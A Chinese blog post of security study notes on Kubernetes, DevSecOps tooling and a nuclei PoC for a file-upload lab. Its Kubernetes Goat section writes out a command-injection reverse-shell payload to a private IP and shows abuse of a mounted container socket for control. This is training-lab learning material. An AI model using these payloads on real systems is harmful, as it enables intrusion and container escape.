news 2026/5/27 13:25:56

k8s云安全、devsecops等知识

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
k8s云安全、devsecops等知识

1、参考课件复习云相关基础概念


2、使用minikube搭建k8s集群,并学习基础操作


3、搭建k8s-goat靶场,并参考官方文档和课件完成dind等场景的练习
拿到文件,则cd kubernetes-goat进入目录,修改 scenarios/internal-proxy/deployment.yaml 中CPU和内存值为300M,修改下面文件中映射的默认套接字scenarios/health-check/deployment.yaml,修改为/var/run/docker.sock

运行kubernetes-goat的K8S服务

bashsetup-kubernetes-goat.sh

启动应用服务的端口转发

bashaccess-kubernetes-goat.sh

访问1234端口,就可以看到全部的场景信息,搭建成功

k8s-goat的DIND啊,根据提示,访问1231端口

这是一个命令执行的页面,比如下图

我们执行监听ncat -lvvp 6666,接下来submit反弹shell:127.0.0.1;bash -c ‘bash -i >& /dev/tcp/192.168.40.128/6666 0>&1’,得到下图

执行mount命令,查看文件系统挂载情况

通过 /custom/containerd/containerd.sock 可以对 Docker 进行管理,查看套接字是否可用

下一步下载合适工具控制docker,查看目标系统的架构

根据操作系统架构和docker版本,下载对应的docker客户端

wgethttps://download.docker.com/linux/static/stable/x86_64/docker-26.1.1.tgz-O/tmp/docker.tar.gz

解压缩到临时目录

tar-xvf/tmp/docker.tar.gz-C/tmp/

执行 Docker 命令,挂载 sock,进行管理

/tmp/docker/docker-Hunix:///custom/containerd/containerd.sock images

4、复习devsecops相关概念和开源工具






SAST工具呢,可以看看Fortify和enkins集成-腾讯云开发社区、
jenkins用户手册、Fortify集成-Gitlab


参考基于开源工具实现软件成分分析SCA 和如何集成 Snyk 和 Bitbucket Cloud 以实现 DevSecOps

参考jenkins+Acunetix实现自动化安全测试 - 菜菜聊架构 - 博客园 (cnblogs.com)、Jenkins集成AppScan实现_jenkins scan-build-CSDN博客

参考IAST | 洞态文档 (dongtai.io)、IAST 扫描器 - OpenRASP 官方文档 - 开源自适应安全产品 (baidu.com)

5、复习nuclei工具的使用和poc编写,编写pikachu文件上传lou洞poc
根据自己系统情况下载使用
模板仓库

nuclei-h

这将显示Nuclei的帮助,以下是所有支持的命令。

nuclei编写pikachu靶场文件上传的poc啊,这里我用了ai,编写好后,执行如下图

手动访问以下URL(末尾文件名为实际检测到的文件名):

  • Client Check:http://pp.com/vul/unsafeupload/uploads/client_20260330_1200.php
  • MIME Type:http://pp.com/vul/unsafeupload/uploads/server_20260330_1200.php
  • GetImageSize:http://pp.com/vul/unsafeupload/uploads/2026/03/30/45257169ca672ef1ed5426189047.jpg
    前两种上传的文件,检验可执行性,点击跳转网页显示phpinfo,getimagesize则一片乌黑,那么前两种可执行,getimagesize不可执行

6、认真打磨个人简历
排版参照优秀简历模版,基本的必要属性写清楚明白,求职意向所需要的软硬实力也写明白,其他软硬实力是加分项,也补上有相关性的

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/7 6:05:36

ArduinoLog:面向MCU的零开销C++嵌入式日志框架

1. ArduinoLog 项目概述ArduinoLog 是一款专为 Arduino 及兼容嵌入式平台(包括 AVR、SAM、ESP8266 等)设计的轻量级 C 日志框架。其核心设计哲学是“零运行时开销、零动态内存分配、全编译期可控”,在资源极度受限的微控制器环境中&#xff0…

作者头像 李华
网站建设 2026/4/1 4:06:49

解决开源项目版本兼容难题:从诊断到优化的全流程指南

解决开源项目版本兼容难题:从诊断到优化的全流程指南 【免费下载链接】ha_xiaomi_home Xiaomi Home Integration for Home Assistant 项目地址: https://gitcode.com/GitHub_Trending/ha/ha_xiaomi_home 在开源项目的生命周期中,版本兼容性问题如…

作者头像 李华
网站建设 2026/4/5 21:40:55

YOLO系列专栏(七):YOLO26 模型优化进阶 | 基于热力图定位与量化分析,突破精度瓶颈

目录 一、前言:为什么需要“热力图驱动的模型优化”? 二、核心基础:热力图量化分析(优化的“指南针”) 2.1 核心量化指标(必掌握) 2.2 量化分析代码实现(无缝衔接上一篇) 2.3 量化分析结果解读(关键) 三、实战优化:基于热力图定位与量化分析,解决核心难题 3…

作者头像 李华
网站建设 2026/4/1 4:03:35

【数据结构】树的定义、核心术语与关键性质全解析

在数据结构的世界里,树(Tree) 是一种极其重要的非线性结构,它完美模拟了自然界中树的层次关系,从文件系统、组织结构,到算法中的二叉搜索树、堆,再到 AI 中的决策树,树的身影无处不在…

作者头像 李华